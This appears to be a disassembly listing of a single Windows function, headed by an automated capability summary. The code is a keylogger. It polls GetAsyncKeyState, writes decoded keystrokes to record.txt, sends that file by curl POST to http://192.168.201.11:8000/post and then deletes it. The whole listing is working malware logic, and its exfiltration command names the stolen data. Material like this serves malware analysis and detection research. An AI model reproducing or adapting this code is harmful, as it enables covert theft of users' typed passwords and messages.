Function at 0x140001290
Capabilities:
Execute command
Log keystrokes via polling
Schedule task via at
Self delete

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x50]
sub rsp, 0x150
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x40], rax
xor esi, esi
mov r13d, 0xffff8001
lea r14, [0x140000000]
lea r12, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
lea r15, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
nop
mov dil, 8
movsx ebx, dil
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cmp ax, r13w
jne 0x14000162e
mov eax, esi
inc esi
cmp eax, 0x10
jle 0x140001322
xor esi, esi
lea rcx, str.curl__m_1___request_POST___data_binary___record.txt__http:__192.168.201.11:8000_post
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
jne 0x140001322
lea rcx, str.del__record.txt_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x30]
call fcn.140002600
nop
cmp dil, 0x40
jle 0x140001369
cmp dil, 0x5b
jge 0x140001369
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140001636
cmp dil, 0x5b
jl 0x1400016fe
lea eax, [rbx - 8]
cmp eax, 0x77
ja case.0x14000138b.35
cdqe
movzx eax, byte [r14 + rax + 0x1824]
mov ecx, dword [r14 + rax*4 + 0x17b4]
add rcx, r14
jmp rcx
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
lea rdx, str._0_1_23_4_5678_9
test ax, ax
lea rax, [0x140005580]
cmove rdx, rax
jmp 0x14000159c
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
lea rdx, [0x140005584]
test ax, ax
lea rax, [0x140005588]
cmove rdx, rax
jmp 0x14000159c
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
lea rdx, [0x14000558c]
test ax, ax
lea rax, [0x140005590]
cmove rdx, rax
jmp 0x14000159c
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
lea rdx, [0x140005594]
test ax, ax
lea rax, [0x140005598]
cmove rdx, rax
jmp 0x14000159c
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
lea rdx, [0x14000559c]
test ax, ax
lea rax, [0x1400055a0]
cmove rdx, rax
jmp 0x14000159c
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
lea rdx, [0x1400055a4]
test ax, ax
lea rax, [0x1400055a8]
cmove rdx, rax
jmp 0x14000159c
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
lea rdx, [0x1400055ac]
test ax, ax
lea rax, [0x1400055b0]
cmove rdx, rax
jmp 0x14000159c
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
lea rdx, [0x1400055b4]
test ax, ax
lea rax, [0x1400055b8]
cmove rdx, rax
jmp 0x14000159c
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
lea rdx, [0x1400054f4]
test ax, ax
lea rax, [0x1400055bc]
cmove rdx, rax
jmp 0x14000159c
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
lea rdx, [0x1400055c0]
test ax, ax
lea rax, [0x1400055c4]
cmove rdx, rax
jmp 0x14000159c
lea rdx, [0x1400055c8]
jmp 0x14000159c
lea rdx, str._Delete_
jmp 0x14000159c
lea rdx, str._Escape_
jmp 0x14000159c
lea rdx, [0x1400055f4]
jmp 0x14000159c
lea rdx, str._Enter__n
jmp 0x14000159c
lea rdx, [0x140005604]
jmp 0x14000159c
lea rdx, [0x140005580]
jmp 0x14000159c
lea rdx, [0x140005588]
jmp 0x14000159c
lea rdx, [0x140005590]
jmp 0x14000159c
lea rdx, [0x140005598]
jmp 0x14000159c
lea rdx, [0x1400055a0]
jmp 0x14000159c
lea rdx, [0x1400055a8]
jmp 0x14000159c
lea rdx, [0x1400055b0]
jmp 0x14000159c
lea rdx, [0x1400055b8]
jmp 0x14000159c
lea rdx, [0x1400055bc]
jmp 0x14000159c
lea rdx, [0x1400055c4]
jmp 0x14000159c
lea rdx, str._CAPS_LOCK_
lea rcx, [rsp + 0x30]
call fcn.140002cc0
nop
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x30], r12
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x2c], edx
mov qword [rsp + 0x38], r15
cmp qword [rbp - 0x48], 0
je 0x1400015fd
lea rcx, [rbp - 0x58]
mov rax, qword [rsp + 0x50]
cmp qword [rax], rcx
jne 0x1400015fd
mov rdx, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x40]
mov qword [rax], rcx
mov rax, qword [rsp + 0x70]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp - 0x78]
mov dword [rax], edx
cmp byte [rbp - 0x4c], 0
je 0x14000160d
lea rcx, [rsp + 0x38]
call fcn.140002a30
lea rcx, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp - 0x28]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
inc dil
jmp 0x1400012e3
lea edx, [rdi + 0x20]
lea rcx, [rsp + 0x30]
call fcn.140002af0
lea rcx, [rsp + 0x38]
call fcn.140002a30
test rax, rax
jne 0x140001672
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x30]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x30], r12
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x2c], edx
mov qword [rsp + 0x38], r15
cmp qword [rbp - 0x48], 0
je 0x1400016c8
lea rcx, [rbp - 0x58]
mov rax, qword [rsp + 0x50]
cmp qword [rax], rcx
jne 0x1400016c8
mov rdx, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x40]
mov qword [rax], rcx
mov rax, qword [rsp + 0x70]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp - 0x78]
mov dword [rax], edx
cmp byte [rbp - 0x4c], 0
je 0x1400016d8
lea rcx, [rsp + 0x38]
call fcn.140002a30
lea rcx, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp - 0x28]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x1400012e0
movzx edx, dil
lea rcx, [rsp + 0x30]
call fcn.140002af0
lea rcx, [rsp + 0x38]
call fcn.140002a30
test rax, rax
jne 0x14000173b
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x30]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x30], r12
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x2c], edx
mov qword [rsp + 0x38], r15
cmp qword [rbp - 0x48], 0
je 0x140001791
lea rcx, [rbp - 0x58]
mov rax, qword [rsp + 0x50]
cmp qword [rax], rcx
jne 0x140001791
mov rdx, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x40]
mov qword [rax], rcx
mov rax, qword [rsp + 0x70]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp - 0x78]
mov dword [rax], edx
cmp byte [rbp - 0x4c], 0
je 0x1400017a1
lea rcx, [rsp + 0x38]
call fcn.140002a30
lea rcx, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
jmp 0x1400016e4